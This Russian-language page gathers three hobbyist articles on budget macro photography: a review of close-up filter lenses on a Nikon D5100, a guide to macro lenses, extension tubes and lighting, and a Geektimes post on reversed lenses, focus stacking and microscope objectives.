Что собой представляет макросъёмка и как ее правильно сделать? Бюджетное макро: как при малых затратах получить большое макро.

· 18.08.2013

Текст статьи обновлён: 14.02.2019

Рано или поздно начинающий фотолюбитель решает попробовать свои силы в макросъемке. И тут выясняется, что увлечение макрофотографией – дорогостоящее хобби. Для получения качественных фотографий вам потребуется купить макрообъектив, который стоит не так уж и дешево.

Вы не уверены будете ли заниматься макросъемкой постоянно или будете фотографировать макро лишь время от времени. Поэтому появляется желание немного сэкономить: вы можете использовать специальное переходное кольцо, позволяющее прикрутить обычный объектив к камере обратной стороной. Еще более дешевой альтернативой могут стать макрокольца, макролинзы и макрофильтры.

Макролинза или, как ее часто называют, линза close up, по сути представляет собой увеличительное стекло с резьбовой оправой. Поэтому макролинзу иногда еще называют макрофильтром, т.к. она накручивается на внешний конец объектива, как, например, поляризационный фильтр.

Одним прекрасным днем я решился купить набор макрофильтров Banner, содержащий линзы Close-up с диоптриями +1, +2, +4, +8 и +10. Первый опыт использования макролинз показал, что не так-то просто при фотографировании, например, цветов поймать фокус: небольшое колыхание от ветра – и все фокус смазан. При съемке такими линзами ГРИП очень мала и отклонение объекта съемки на 1 мм уже приводит к фатальным последствиям. Со штативом не всегда удобно подойти близко, а с рук – трудно навестись на резкость. Пробовал снимать насекомых – убегают… 🙂

Так и лежал у меня набор макрофильтров без дела до сегодняшнего дня, когда я решил протестировать свои линзы в лабораторных, читай студийных условиях, чтобы вынести окончательный вердикт: стоит или нет покупать close up фильтры.
Съемка проводилась дома со штатива при естественном освещении от окна. Фотомодели – какие-то цветочки, что растут у нашего подъезда.

Так выглядела моя макростудия для получения макрофотографий к данному обзору макролинз close up. Сорри за качество – снято на мобильный телефон. Вы видите, мой фотоаппарат Nikon D5100 с КИТ-объективом Nikkor 18-55 установлен на штативе. При чем, камера закреплена не на штативной головке непосредственно, а на макрорельсах, которые я купил совместно с комплектом макрофильтров. Должен сказать, что макрорельсы – удобное устройство для наведения на резкость при макросъемке. Включаете камеру в режиме live view, увеличиваете фрагмент кадра, по которому наводится фокус, и, вращая валик, очень плавно перемещаете фотоаппарат вместе с зубчатой рейкой. Использование макрорельсов упрощает жизнь в условиях малой ГРИП.

Давайте посмотрим примеры фотографий, снятых на Nikon D5100 с KIT объективом Nikkor 18-55 и макрофильтрами close up.

Пример №1

Согласно технических данных фотоаппарат Nikon D5100 c КИТ-объективом 18-55 имеет минимальное расстояние для фокусировки – 28 сантиметров. Вот, что снимает камера с такого расстояния без использования макролинзы.

Пример №2

Попробовал отключить у объектива функцию автоматической фокусировки и навестись на резкость в мануальном режиме. Удалось сфокусироваться с расстояния 16 см.

Пример съемки макрофильтром №3

На объектив навинчена макролинза +1. Положение камеры не менялось, чтобы было понятно какова степень увеличения. Видим, что линза почти не увеличивает картинку.

Фото 4. Действие линзы close up +1 почти не заметно на объективе Nikon 18-55mm f/3.5-5.6G. Тушка — Nikon D5100.

Пример фотографии, снятой с применением линзы close up №4

Меняем увеличительное стекло на close-up +2. Изображение стало чуть-чуть крупнее (кстати, расстояние 17 см получилось в результате перемещения салазок в процессе наводки на фокус; с 16 см сфокусироваться не удалось).

Пример №5

Используем макрофильтр +4. Также я бы не сказал, что он заметно увеличивает картинку в сравнении с первым вариантом. Глубина резкости вполне приемлемая.

Пример №6

После замены насадки +4 на линзу close up +8 сфокусироваться с расстояния 17 см не удалось. Пришлось передвинуть штатив ближе, чтобы плоскость фильтра оказалась на расстоянии 11 см от цветка.

Пример съемки макрофильтром №7

Устанавливаем последнюю линзу в моем наборе – close up +10. Как видно ГРИП стала значительно меньше. На данном фото резкость наводилась по тычинкам, а пестик – почти выходит из зоны ГРИП.

Пример съемки close up линзой №8

Эксперименты показали, что я могу сфокусироваться на минимальном расстоянии 4 см от цветка. При этом ГРИП у фильтра +10 очень маленькая.

Вот тот же кадр с линзой +8.

Пример макрофотографии снятой с использованием макрофильтров №9

Как можно увеличить ГРИП? Зажав диафрагму (для чистоты эксперимента диафрагма на всех кадрах одинаковая f=13) либо уменьшив фокусное расстояние. На кадре ниже видно, что ГРИП при фокусном расстоянии 18 мм на линзе +10 вполне приемлемое. Только вот увеличение становится почти не заметным, в сравнении с фокусным 55 мм.

Все кадры в данном обзоре представлены «как есть», без кропления. Для размещения фотографий в интернет обычно не требуется размер 4928×3264 пикселей, как снимает наша камера Nikon D5100. Вы можете вырезать из центра кадра необходимый фрагмент. Вот, что может у вас получиться.

Во время тестирования в кадр даже попала личинка какого-то насекомого. Только вот фокусировка была произведена по тычинкам и животное не в зоне резкости.

В заключение своего обзора с примерами фотографий, снятых макрофильтрами close up, хочу отметить, что поскольку пока что я использую простенький штатив Era ECSA-3512, а макрорельсы меняют центр тяжести конструкции, то камера довольно сильно шевелится в процессе наведения на резкость. При макросъемке ГРИП очень маленькая и даже едва заметное движение приводит к выходу объекта фокусировки из зоны резкости.

Таким образом, сегодняшние испытания макролинз подтвердили, что . Посмотрим, как покажет себя карбоновый , рассчитанной на нагрузку 15 кг.

Основные выводы, которые я сделал для себя после тестирования макрофильтров close up: данные приспособления нельзя рассматривать, как серьезный инструмент для макросъемки. Наиболее удобные линзы с точки зрения ГРИП — +4 и +8.

В одном из отзывов, что я нашел в сети Интернет, говорится о том, что макролинзы хорошо показывают себя при съемках на длинных фокусных расстояниях (от 100 мм). Может быть, стоит для моего приобрести только вот указанные две линзы и попробовать его на 200 мм фокусного расстояния…

Дополнение от 25 ноября 2018. На сегодняшний день, на Aliexpress можно взять макрофильтры за 10-20 USD, но это будет аналог тех фильтров, что я рассмотрел. За 70 USD продают более качественную линзу Raynox DCR-250 Super Macro Snap-On. В то же время, советский макрообъектив МС Волна-9 2.8/50 MACRO при цене на Avito в 50-70 USD даст просто отличную картинку, а Nikon Micro-Nikkor 55mm 1:2.8 (AI-S) на E-Bay продают за 80-100 USD — он поможет снять почти шедевры. Поэтому я рекомендую не тратить напрасно средства на эксперименты с Close UP, а присмотреться к этим, например, вариантам.

Пример реальной фотоохоты на насекомых с макрофильтрами Close UP

Ну и напоследок – три примера макрофотографий, снятых с использованием линз close up не в студии, а в полевых условиях.

Фотография 14. Маленькие титаны… Обе фотографии сняты на close up +4 и любительскую зеркалку NikonD5100 KIT 18-55

Чтобы получить эти две фотографии пришлось снять несколько десятков дублей. Муравьишки постоянно двигаются, а поскольку ГРИП невелико, то поймать их в зоне резкости очень трудно. За 40 минут съемки так и не получил ни одного полностью резкого кадра.

Фотографии муравьев и кузнечика – кроп из центра кадра.

После последних трех фотографий уже не могу поставить точку в своем обзоре макрофильтров и сказать точно, следует ли покупать close-up линзы… Хочется «помикрофотоохотиться» еще… 🙂

Надеюсь, что мой отчет вам пригодится. Удачных макросъемок!

© 2017 сайт

Под словом «макрофотография» обычно понимают снимки, сделанные в достаточно большом, но всё-таки не микроскопическом масштабе, т.е. примерно от 1:10 до 1:1. Снимки, масштаб которых превышает 1:1, относят уже к микрофотографии, а всё, что меньше 1:10, считается просто крупным планом. Приведённые диапазоны масштабов весьма условны, и могут служить лишь в качестве ориентиров, а никак не жёстких границ между отдельными жанрами фотосъёмки.

Быть может, читатель не вполне владеет понятием масштаба, и цифры 1:1 ему мало о чём говорят? Здесь нет ничего сложного. Масштаб съёмки – это отношение линейных размеров снимаемого объекта к линейным размерам его изображения, проецируемого объективом на матрицу или плёнку. Масштаб 1:1 означает съёмку в натуральную величину, т.е. объекту размером 10 мм будет соответствовать изображение размером также 10 мм. Масштаб 1:2 означает половину натуральной величины, т.е. проекция десятимиллиметрового объекта будет иметь размер 5 мм. Если первая цифра больше второй, то это говорит нам о возможности съёмки с увеличением. Например, при масштабе 2:1 объект размером 10 мм будет увеличен до 20 мм. Напомню, что речь идёт о размерах изображения, проецируемого на матрицу фотоаппарата. Разумеется, при просмотре фотографий на компьютерном мониторе или при печати объекты макросъёмки будут выглядеть значительно больше, чем они есть на самом деле.

В технических характеристиках любого фотографического объектива всегда указывается максимальный масштаб съёмки, достижимый при минимальной для данного объектива дистанции фокусировки.

Иногда вместо максимального масштаба указывают т.н. коэффициент увеличения объектива. Например, коэффициент увеличения 1× соответствует масштабу 1:1, 0,5× соответствует 1:2, а 2× указывает на возможность съёмки в масштабе 2:1, т.е. вдвое больше натуральной величины.

Выбор макрообъектива

Для занятия любительской макрофотографией наличие специализированного макрообъектива хоть и желательно, но всё же не критично. Стандартный китовый зум, какими обычно комплектуются любительские фотокамеры, позволяет в телеположении добиться масштаба примерно 1:3, а этого вполне достаточно для съёмки цветов, бабочек и тому подобных сюжетов.

Тем не менее, если вы решили заняться макросъёмкой всерьёз, вам, скорее всего, понадобится настоящий макрообъектив, позволяющий вести съёмку в масштабе 1:1. Nikon называет свои макрообъективы микрообъективами, но это не меняет сути. Именно возможность снимать в масштабе 1:1 (или даже крупнее) отличает полноценный макрообъектив от просто объектива с «возможностью близкой фокусировки» или каким-нибудь «макрорежимом».

Впрочем, даже настоящие макрообъективы далеко не всегда годятся для серьёзной макросъёмки, и потому нам следует подробнее остановиться на некоторых параметрах, которыми различные макрообъективы отличаются друг от друга.

Фокусное расстояние

Фокусное расстояние – это, пожалуй, самый важный параметр, который стоит учитывать при выборе макрообъектива. В общем виде, чем больше фокусное расстояние, тем лучше. Причина в том, что от фокусного расстояния объектива напрямую зависит рабочая дистанция при макросъёмке. Рабочая дистанция – это расстояние от переднего края оправы объектива до снимаемого объекта (не путать с дистанцией фокусировки, которая отсчитывается от матрицы фотоаппарата). При съёмке в одинаковом масштабе объектив с бо́льшим фокусным расстоянием обеспечит бо́льшую рабочую дистанцию, чем объектив с меньшим фокусным расстоянием, а чем больше рабочая дистанция, тем удобнее работать фотографу.

Главный недостаток коротких макрообъективов (вроде AF-S DX Micro-NIKKOR 40mm f/2.8G, AF-S Micro NIKKOR 60mm f/2.8G ED, Canon EF-S 35mm f/2.8 Macro IS STM, Canon EF 50mm f/2.5 Compact Macro) в том, что для достижения максимального масштаба вам приходится приближаться к объекту съёмки практически вплотную, так, что от объектива его отделяют считанные сантиметры. Это создаёт ряд проблем:

• Если объектом съёмки является насекомое или другое мелкое животное, то подобравшись к нему слишком близко, вы рискуете его спугнуть. Кстати, именно поэтому опытные макрофотографы предпочитают охотиться на насекомых на рассвете, пока те малоподвижны.
• Чем ближе вы к объекту, тем выше вероятность заслонить собой естественный свет, а для корректного применения вспышек или рефлекторов у вас будет недостаточно места.
• Короткий макрообъектив, обладая слишком большим углом изображения, захватывает в кадр много лишних элементов заднего плана и, таким образом, затрудняет визуальную изоляцию основного объекта.
• Объекты, снятые в упор, приобретают неестественную перспективу. Это, кстати, характерная черта большинства макроснимков, сделанных при помощи компактов-мыльниц.

Именно поэтому макрообъективы с фокусным расстоянием в районе 50-60 мм (или эквивалентном) малопригодны для серьёзной макросъёмки, несмотря на свою способность снимать в масштабе 1:1.

Хороший макрообъектив должен обладать эквивалентным фокусным расстоянием не менее 100 мм, как, например, Canon EF 100mm f/2.8 Macro USM или AF-S VR Micro-Nikkor 105mm f/2.8G IF-ED. Такой объектив позволяет фотографировать, не упираясь блендой в объект съёмки, а также обеспечивает естественную перспективу снимка. Кроме того, пользоваться штативом и фокусировочными рельсами, не говоря уже о вспышках и рефлекторах, намного удобнее, когда вы находитесь на некотором удалении от снимаемого объекта.

Профессиональные макрофотографы обычно предпочитают использовать ещё более длинные макрообъективы: Canon EF 180mm f/3.5L Macro USM и AF Micro-Nikkor 200mm f/4D IF-ED. Причина всё та же: чем дальше вы отстоите от объекта, тем комфортнее съёмка.

Резкость

Макрофотография – это тот случай, когда резкость объектива не имеет абсолютно никакого значения, и вот почему: во-первых, практически все макрообъективы отличаются изумительной резкостью – это в принципе наиболее резкий класс объективов, а во-вторых, в силу того, что большую часть времени вы будете снимать на диафрагмах от f/16 и меньше, дифракция сведёт на нет всякое преимущество в резкости, которое один макроообъектив мог бы иметь перед другим при съёмке на больших диафрагмах. Резкость ваших макроснимков будет в значительно большей степени зависеть от устойчивости камеры и точности фокусировки.

Светосила

Подавляющее большинство макрообъективов обладают светосилой от f/2,8 до f/4. Этого вполне достаточно, учитывая тот факт, что макрофотографии крайне редко делаются при минимальном значении диафрагмы. Обычно недостаток глубины резкости заставляет фотографа сильно диафрагмировать объектив. В сущности, полностью открытая диафрагма при макросъёмке используется только для экспозамера и наведения на резкость.

Стабилизация изображения

Наличие или отсутствие в макрообъективе оптического стабилизатора изображения (IS или VR) не должно вас слишком сильно беспокоить. Стабилизатор может быть полезен, если вы собираетесь время от времени использовать макрообъектив в качестве обычного телеобъектива общего назначения, но непосредственно при макросъёмке толку от стабилизатора немного.

Дело в том, что встроенные в объектив системы оптической стабилизации в большинстве своём способны компенсировать только тангаж и рыскание фотоаппарата, т.е. его повороты относительно поперечной и вертикальной осей, но никак не учитывают параллельный сдвиг камеры по вертикали, горизонтали или в переднезаднем направлении. И если в нормальных условиях параллельными колебаниями камеры можно пренебречь, то на сверхмалых расстояниях до объекта они начинают вносить существенный вклад в деградацию резкости.

Кроме того, съёмка при малых значениях диафрагмы обычно сопряжена с использованием сравнительно невысоких скоростей затвора, что, в свою очередь, вынуждает вас прибегать к помощи штатива. А если уж вы взялись за штатив, то оптическая стабилизация изображения становится совершенно излишней.

Освещение

Для макросъёмки годится как естественный, так и искусственный свет. Однако необходимо понимать, что макрофотограф, снимающий при естественном освещении, постоянно сталкивается с дефицитом света, что, во-первых, обручает его со штативом, а во-вторых, лишает возможности работать с подвижными объектами.

Использование вспышек в качестве основного источника света несколько развязывает нам руки. Неплохим решением для съёмки насекомых являются системы, состоящие из двух небольших вспышек, которые при помощи специального хомута крепятся с двух сторон прямо на объектив (примеры: Nikon R1, Canon MT-24EX). Кольцевые вспышки вроде Canon MR-14EX II обладают меньшей мощностью, но обеспечивают более мягкое и равномерное освещение.

Если вы занимаетесь макросъёмкой в студийных условиях, вы можете воспользоваться полноценными студийными вспышками . Это даст вам абсолютный контроль над светом, но, к сожалению, из-за громоздкости оборудования такой подход совершенно неприемлем на природе.

Экспозиция

Наиболее предпочтительным режимом определения экспозиции при макросъёмке является режим приоритета диафрагмы (A или Av), что обусловлено необходимостью держать под контролем глубину резкости . Ручной режим (M) уместен только при работе со студийным светом.

Откровенно говоря, при съёмке макро трудно говорить о какой бы то ни было глубине резкости. ГРИП ничтожно мала, и обычно приходится изрядно потрудиться, чтобы хоть что-нибудь в кадре получилось безусловно резким. Не бойтесь закрывать диафрагму. Дифракция – вещь неприятная, но в данном случае стоит с ней смириться – увеличение глубины резкости оказывается важнее.

Следует также помнить, что при фокусировке макрообъектива на близких дистанциях происходит значительное удлинение объектива за счёт выдвижения передней группы линз. Это необходимо для достижения максимального масштаба съёмки, но ведёт к заметной потере светосилы, так как при увеличении длины объектива величина относительного отверстия неизбежно уменьшается. Так, объектив с маркировкой f/2,8 при фокусировке на бесконечность действительно будет обладать светосилой f/2,8, но при минимальной дистанции фокусировки его светосила может упасть до f/5,6. В этом нет ничего страшного, коль скоро вы не собираетесь выставлять экспозицию вручную. В автоматических режимах определения экспозиции камера учитывает уменьшение эффективной светосилы и сама вносит необходимые коррективы.

Использование штатива

Качественное макро обычно снимают со штатива . И дело не только в устойчивости фотоаппарата, которую обеспечивает штатив, но и в общем удобстве работы. При хорошем освещении можно снимать и с рук , но со штативом проще добиться аккуратного кадрирования и точной фокусировки. Также штатив освобождает вас от необходимости постоянно держать камеру в руках и позволяет более свободно оперировать вспышками, отражателями, фонами и т.п.

Для макросъёмки хороши штативы без центральной штанги или те, у которых центральная штанга выполнена съёмной. Если конструкция вашего штатива не позволяет расположить камеру достаточно низко над землёй, можно воспользоваться бинбэгом или же, в крайнем случае, положить камеру прямо на землю.

Фокусировка

Наводка на резкость при макросъёмке – непростая задача. Малейшее движение камеры или объекта съёмки приводит к потере фокуса, да и глубина резкости на макродистанциях не оставляет вам права на ошибку.

Будет лучше, если вы научитесь фокусироваться вручную, поскольку автофокус при макросъёмке может вести себя непредсказуемо и часто не в состоянии обеспечить достаточную точность.

Серьёзно настроенные макрофотографы используют устойчивый штатив и специальные фокусировочные рельсы, по которым сама камера может плавно перемещаться вперёд или назад. Этот способ фокусировки является самым точным и надёжным, но требует определённых вложений и соответствующего навыка. Впрочем, даже если вы просто держите камеру в руках, вы можете сначала приблизительно сфокусировать объектив, а затем добиться точного фокуса слегка перемещая камеру.

Макрокольца и макролинзы

Существуют сравнительно недорогие альтернативы полноценным макрообъективам. Фотолюбители, желающие сэкономить на оптике, могут прибегнуть к особым макрокольцам или макролинзам, которые позволяют временно модифицировать любой имеющийся у вас объектив, превратив его в подобие макрообъектива. В обоих случаях вы теряете возможность сфокусироваться на бесконечность, поскольку весь диапазон дистанций фокусировки вашего объектива будет смещён в ближнюю к вам сторону, но зато и максимальный масштаб съёмки будет пропорционально увеличен.

Или удлинительные кольца представляют собой полые трубки определённой длины, устанавливаемые между корпусом фотоаппарата и объективом. Отдаляя объектив от матрицы, кольца позволяют ему фокусироваться ближе, чем это предусмотрено его конструкцией. Главным достоинством удлинительных колец (после их дешевизны) является отсутствие в них каких-либо оптических элементов – внутри кольца просто воздух, – в связи с чем применение колец практически не сказывается на качестве изображения.

Какие кольца выбрать? Лучший вариант – это набор Kenko Automatic Extension Tube Set DG, состоящий из трёх колец – 12, 20 и 36 мм. Имеются версии как для Nikon, так и для Canon. Набор Kenko хорош тем, что кольца в полной мере сохраняют связь между камерой и объективом, обеспечивая полноценную работу экспонометра, автофокуса, диафрагмы и прочих систем. Canon выпускает свои собственные макрокольца, но по качеству они ничуть не лучше колец Kenko, а стоят заметно дороже. Nikon же собственных удлинительных колец в настоящее время не производит.

Макролинзы или насадочные линзы накручиваются на объектив спереди, используя резьбу для светофильтров , и действуют подобно увеличительному стеклу. В отличие от макроколец, насадочные линзы оказывают отрицательно влияние на качество изображения, поэтому стоит избегать дешёвых моделей, имеющих единственный оптический элемент, предпочтя им насадки с более сложной схемой, призванной свести к минимуму оптические аберрации . Золотым стандартом считаются Canon 500D (+2 диоптрии), Canon 250D (+4 диоптрии) и уже снятые, к сожалению, с производства, Nikon 5T (+1,5 диоптрии) и Nikon 6T (+2,9 диоптрии).

Замечу, что кольца и насадки могут быть полезны не только с точки зрения экономии, но и в тех случаях, когда вы путешествуете налегке и не расположены брать с собой лишний объектив специально для макрофотографии, однако при этом не хотите остаться совсем безоружным, если вдруг вам неожиданно подвернётся интересный макросюжет. Словом, для эпизодической макросъёмки макрокольца и макролинзы являются весьма разумным решением.

Спасибо за внимание!

Василий А.

Post scriptum

Если статья оказалась для вас полезной и познавательной, вы можете любезно поддержать проект , внеся вклад в его развитие. Если же статья вам не понравилась, но у вас есть мысли о том, как сделать её лучше, ваша критика будет принята с не меньшей благодарностью.

Не забывайте о том, что данная статья является объектом авторского права. Перепечатка и цитирование допустимы при наличии действующей ссылки на первоисточник, причём используемый текст не должен ни коим образом искажаться или модифицироваться.

Здравствуйте, уважаемые читатели ресурса Geektimes! Этот пост - попытка систематизировать набиваемые мной шишки на поприще макрофотографии. Для этого собрал свои разрозненные наброски в один конспект. Возможно, информация окажется кому-нибудь полезной.

Часть 1. Теория
1. Что такое макрофотография
2. Чем фотографировать
3. Стекинг
4. Освещение

Часть 2. Практика
1. Мое «шишконабивание»
2. Примеры фотографий

1. Немного теории

2. Чем фотографировать макро?

2.1. Способ наибюджетный. Нужно взять объектив и просто его развернуть. Для получения наибольшего масштаба можно использовать стандартный китовый объектив (например, 18-55мм). Для этого понадобится купить реверсивное кольцо под диаметр светофильтра своего объектива. Представляет собой переходник, с одной стороны которого накручивается объектив, другой стороной крепящийся в байонет камеры.

Рис. 2 Реверсивное и оборотное кольца:

Естественно, никакая автоматика не работает. Все параметры необходимо выставлять вручную. Но зато, во-первых, очень бюджетное решение. А во-вторых, если стандартный макрообъектив может давать картинку в масштабе 1:1, то получившийся _Франкенштейн_ легко снимает в масштабе до 4:1, если не больше (зависит от подопытного объектива). На мой взгляд, это небольшие неудобства за возможность фотографировать с таким масштабом.

Плюсы:
- Дешевизна (нужно купить только оборачиваемое кольцо).

Минусы:
- Диафрагма не контролируется штатным способом;
- Качество зависит от конкретного экземпляра и может быть отвратительным.

2.2. Стыковка двух объективов фронтальными сторонами к друг другу. Для этого нужно:
- Фикс с как можно более коротким фокусным расстоянием и хорошей светосилой (т.к. на нем диафрагму нужно полностью открывать);
- Объектив с как можно большим фокусным расстоянием (фикс или зум);
- Двустороннее оборотное макрокольцо для соединения этих объективов.

Плюсы:
- Получаем огромное увеличение из подручных объективов;
- Дешевизна (при наличии объективов, нужно купить только оборачиваемое кольцо);
- Автофокус и диафрагма работают (хотя автофокус при таких увеличениях бесполезен).

Минусы:
- Фотографировать на при масштабе, большем 2:1 только со штатива, плюс к этому, лучше будет использовать пульт;
- Задняя линза переднего объектива может быстро испачкаться, так что либо фотографировать дома, либо колхозить защитный фильтр собственными силами.

2.3. Удлинительные кольца. Стыковать можно с любым объективом. Позволяют фокусироваться с более близкого расстояния любому объективу.

Рис. 3 Набор удлинительных колец:

Плюсы:
- Позволяет любому объективу приблизиться к макрообъективу по масштабу.

Минусы:
- Световой поток уменьшается, особенно если чернение внутренней поверхности некачественное.

2.3.1. Макромеха. Смысл тот же, что и у удлинительных колец: позволяют фокусироваться с более близкого расстояния любому объективу. Позволяют регулировать фокусное растояние путем удаления\приближения объектива к плоскости проецирования изображения (фотопленке, матрице).

2.4. Линзы для макросъемки. Бывают разных конструкций (от простой линзы до миниобъективов). Разнятся ценой и, соответственно, качеством.

Плюсы:
- Увеличивает и приближает;
- Удобное крепление (про Raynox).

Минусы:
- Цена.

2.5. Специализированный макрообъектив. Их много и на разный кошелек. Чем больше фокусное расстояние, тем с более дальней дистанции позволяют фокусироваться, тем меньше шансов спугнуть «дичь». Но и цена возрастает соответственно фокусному расстоянию. Хочу отметить только один макрообъектив - Canon MP-E 65mm f/2.8 1-5x Macro Photo, позволяющий снимать с переменным увеличением от 1:1 до 5:1:

Рис. 3 Canon MP-E 65mm f/2.8 1-5x Macro Photo по сути представляет собой обычный перевернутый объектив:

Если бы я был Кенонистом, то мне не пришлось бы городить весь этот огород со стыковками объективов и т.д. Тут я завидую им белой завистью, т.к. у Никона аналога нет.

2.6. Использование непрофильных объективов. Например, от микроскопов и т.д.

В принципе, это все основные приспособления для получения макрофотографий.

3. Стекинг

Рис. 4 Головка чтения-записи жесткого диска. ГРИП на этом снимке составляет ~0,07мм:

Соответственно, ничего путного снять не получится. Чтобы получить изображение с достаточной глубиной резкости, нужно использовать технологию стекинга - съемку нескольких кадров на разных расстояниях фокусировки с дальнейшим их объединением. Т.е., снимем несколько кадров одного объекта, сфокусировавшись последовательно на нескольких точках, начиная с ближайшей и заканчивая самой дальней. Объединив их, на результирующем кадре получим в фокусе гораздо больше, чем можно было сделать за один снимок.

3.1. Как получить снимки для стекинга? Я пробовал три способа:
- Ручной. Он же самый бюджетный: вручную после каждого кадра поворачивать на маленькое расстояние кольцо фокусировки объектива.
- Софтовый. Подключить фотокамеру к компьютеру, установив на нем специализированную программу, которая будет за вас последовательно фокусироваться. Или использовать комбайн, который может делать все: последовательно фокусироваться, делать снимок, сшивать и т.д. Пример такого комплекса Helicon Focus Pro. Либо, можно использовать родную программу фотокамеры для перемещения автофокуса и съемки, они такое позволяют. Для Nikon это Camera Control Pro.
- Механический. Использовать макрорельсы. Их великое множество и на самый разный кошелек. Подразделяются на ручные и моторизованные.

Рис. 5 Ручной режим фокусировки:

3.2. В какой программе объединять снимки в стек?
- Photoshop. Использую эту программу, если для стека есть не более 10 изображений. Когда больше - очень долгий процесс сшивки и множество ошибок. При этом, редактирование проводить трудно.
- Использование специализированной программы для стекинга. Например, Zerene stacker.

4. Освещение

Часть 2. Практика

1. Мое «шишконабивание»

Я сижу на системе Никон, поэтому все перечисленные объективы и специализированные аксессуары относятся именно к ней. Используя их, экспериментировал, занимаясь поиском между степенью увеличения и качеством получаемого снимка.

1.1. Перевернутый с помощью реверсивного кольца китовый объектив 18-55мм. Нужно застопорить рычажок диафрагмы. Я это сделал кусочком зубочистки, поставив рычажок примерно в среднем положении. Если этого не сделать, то диафрагма будет прикрыта до своего минимального значения:

Рис. 6 Застопоренный рычажок диафрагмы:

На этом всё. Получившуюся конструкцию можно цеплять к тушке. Выглядит таким образом:

Рис. 7 Тушка с перевернутым объективом:

Рис. 8 Пример фотографии (без обработки, только 100% кроп и в уголке исходный снимок):

1.2. Перевернутые объективы. Я использовал 50мм 1,4 фикс и 70-210мм:

Рис. 9 Nikkor 50мм 1,4:

Рис. 10 Nikkor 70-210мм 4-5,6:

Изначально пробовал экспериментировать с китовым 18-55. Эта пара мне не очень понравилась, т.к. на полном формате изображение занимает только центральную часть кадра, а кропа у меня сейчас нет. Поэтому 18-55 был заменен на 105mm 2.8 VR micro. Кратность увеличения при этом составила 105/50 (т.е., 2:1). Это не очень впечатлило, поэтому 105mm 2.8 VR micro был заменен на телевик Никкор 70-210 мм. Соответственно, получился макро-зум. Масштаб увеличения получился: от 70/50 до 210/50. Т.е., от 1,4:1 до 4,2:1.

Рис. 11 Состыкованные передними линзами Nikkor 50мм 1,4 и Nikkor 70-210мм 4-5,6:

Рис. 12 Тюль, снятый штатным объективом:

Рис. 13 Он же с минимальным увеличением (70мм):

Рис. 14 Он же с максимальным увеличением (210мм):

1.3. Удлинительные кольца. Использую набор Kenko 36, 20, 12мм (Рис. 3). Если вы Никонист, покупайте простейшие. Поддержка отверточного привода не нужна, только деньги переплачивать. Добавил их к двум перевернутым объективам (2.2.), получил такого монстра. Рядом для сравнения китовый D40:

Рис. 15 Nikkor 50мм 1,4 + Nikkor 70-210мм 4-5,6 + 3кольца. Глядя на это сооружение, хочется плакать:

На самом деле, фотографировал этот «шЫдевр» на телефон, поэтому по факту провисание всей конструкции не такое большое. Но все равно, сразу вспоминается этот момент из «Пиратов Карибского моря»:

Несколько примеров ткани, снятых на этого монстра (Рис. 12):

Рис. 17 Тюль с минимальным увеличением (70мм):

Рис. 18 Он же с максимальным увеличением (210мм):

Удлинительные кольца с фиксом 50мм. По качеству и степени увеличения был моим любимым бюджетным вариантом:

Рис. 19 Nikkor 50мм 1,4 + 3 кольца:

Пример снимка, сделанного на такую конструкцию:

Рис. 20 Снято на Nikkor 50мм 1,4 + 3 кольца:

Рис. 21 Для сравнения, снято на Nikkor 105 mm 2.8 VR Micro:

Лично я разницы не вижу. В итоге, с помощью трех удлинительных колец и стандартного объектива Nikkor 50мм 1,4 получаем макрообъектив, по качеству и масштабу практически не уступающий специализированному макрообъективу Nikkor 105mm. При этом, стоимость получается в два раза меньшая.

1.4. Линза на объектив. Я использую Raynox m-250. Вернее, это маленький объектив, т.к. конструкция состоит из нескольких высококачественных линз из просветленного стекла (3 элемента в 2-х группах). Вызывает одни положительные эмоции:
- быстросъемное крепление на объективы от 52 до 67 мм
- увеличение 8 диоптрий (х3 раза)
- качественное изображение

Рис. 22 Raynox m-250:

А уж если к предыдущему комплекту добавить линзу, то получится вообще красота!

Рис. 23 Nikkor 50мм 1,4 + 3 кольца + Raynox m-250:

1.5. Макрообъектив. У меня это Nikkor 105 mm 2.8 VR Micro. Позволяет снимать макро с масштабом 1:1. Использую как 3 в 1:
- Очень классный портретник;
- Слабенький телевик;
- Ну и собственно, макрообъектив.
Минус только один - цена.

Рис. 24 Nikkor 105 mm 2.8 VR Micro:

Рис. 25 Пример фотографии, полученной с помощью Nikkor 105 mm 2.8 VR Micro:

1.6. Никоновский объектив для микроскопа Nikon CFI plan achromat 10x.

Рис. 26 Nikon CFI plan achromat 10x с переходным кольцом на 62мм:

Он через переходник стыкуется с передней линзой какого-либо объектива. Я пробовал стыковать с Nikkor 105мм, но увеличение показалось мне недостаточно большим. Поэтому остановился на варианте его стыковки с Nikkor 70-210мм.

Рис. 27 Nikon CFI plan achromat 10x + Nikkor 70-210мм:

При этом, масштаб съемки достиг 13:1. Для неспешной съемки дома использую именно эту связку. Для стека приходится делать, в среднем, 100 кадров.

1.7. Использую моторизованные рельсы Cognisys StackShot Macro Rail. Они позволяют задать все необходимые для съемки стека параметры и самостоятельно управляют фотокамерой. Я могу спокойно уходить и пить чай.

Рис. 28 Cognisys StackShot Macro Rail:

Рис. 29 Сейчас дома процесс выглядит подобным образом:

В качестве рассеивателя служит обрезанная бутылка из-под кефира.

Для съемки живых объектов использую Nikkor 105 mm + Кольцо 30мм + Raynox m-250. Фотографирую всегда с рук при диафрагме 25 (а иногда, о ужас, закрываю до 29!). Полный кадр он такой. Подсвечиваю одной или двумя вспышками. Если объект позволяет, то делаю несколько кадров, потом в Photoshop объединяю резкие зоны этих кадров вручную.

2. Примеры фотографий

Рис. 30 Перевернутые объективы Nikkor 50мм 1,4 +70-210мм + 2 кольца:

Рис. 31 Механизм наручных часов. Nikkor 105 mm + 3 кольца + Raynox m-250:

Рис. 32 Бабочка. Nikkor 105 mm + 3 кольца + Raynox m-250:

Рис. 33 Крыло бабочки. Nikkor 70-210мм + Nikon CFI plan achromat 10x:

Рис. 34 Клетки лука:

Рис. 35 Лапка бабочки:

Рис. 36 Пиксели дисплея фотоаппарата:

Рис. 37 Ячейки светочувствительной матрицы фотоаппарата (размер пикселя 0,00168мм Х 0,00168мм):

Рис. 38 Фасетки глаза бабочки:

Фотографии живой природы с помощью Nikkor 105 mm + Кольцо 30мм + Raynox m-250.

Рис. 39 Милая лапка шелкопряда травяного:

Рис. 40 Стрелка чашеносная:

Рис. 41 На что не пойдешь ради хорошего кадра! Пока этот вампир высасывал из меня драгоценную жидкость, я успел сделать около пяти кадров:

Рис. 42 Мини-чужой - призрачный богомол:

Рис. 43 Нимфа сеноеда из отряда Psocoptera:

Рис. 44 Белопенные нимфы цикады:

Рис. 45 Просто муравей:

Спасибо за внимание!

